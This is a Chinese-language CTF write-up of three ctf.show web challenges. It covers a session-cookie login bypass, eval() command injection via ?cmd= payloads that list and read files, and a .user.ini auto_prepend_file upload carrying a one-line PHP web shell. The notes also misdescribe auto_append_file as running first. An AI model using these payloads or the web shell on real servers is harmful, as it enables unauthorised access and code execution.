11.ctf.show_web11
解题步骤
密码为空,用 bp 抓包,去掉 session。
$password==$_SESSION['password']:输入的password和session的结果一致
后端代码就是拿这个session的value值与我们输入的密码进行匹配, 由于这个value值我没解密出来, 所以这里干脆一点, 直接删除让变成空, 密码什么也不输, 也会是空, 空=空, 从而登录成功。
不是把它全部去掉。
知识点
session是另一种记录客户状态的机制,不同的是Cookie保存在客户端浏览器中,而Session保存在服务器上。客户端浏览器访问服务器的时候,服务器把客户端信息以某种形式记录在服务器上。这就是Session。客户端浏览器再次访问时只需要从该Session中查找该客户的状态就可以了。
cookie和session的详解与区别 - 测试开发喵 - 博客园 (cnblogs.com)
12.ctf.show_web12
(1)看到 cmd,想到命令,eval()
(2)本题可以写入命令
解题步骤
1.看源码,发现 ?cmd= ;
2.输入?cmd=phpinfo();
有回显;
注:eval 里面要写 ;
3.?cmd=highlight_file("index.php");
注:要打双引号。
4.输入?cmd=print_r(glob("*"));
5.?cmd=highlight_file("903c00105c0141fd37ff47697e916e53616e33a72fb3774ab213b3e2a
732f56f.php");
知识点
glob() :返回匹配指定的文件名或目录。
比如:glob("*") 匹配任意文件; glob("*.txt")匹配以txt为后缀的文件;
可以使用命令,就可以用glob,比如,一句话木马
3.ctf.show_web13
解题步骤
1.先上传.user.ini,内容为
auto_prepend_file=a.txt
2.然后上传a.txt,这样的话,每次调用 php 文件,都会自动包含 a.txt 文件,题目中要求文件的内容不能太长,会引起报错
<?php eval($_GET['w']);
.user.ini :实际上就是一个可以由用户“自定义”的php.ini
在执行php代码是,先会扫.ini文件
auto_append_file:
指定一个文件,自动包含在要执行的文件前。就是先执行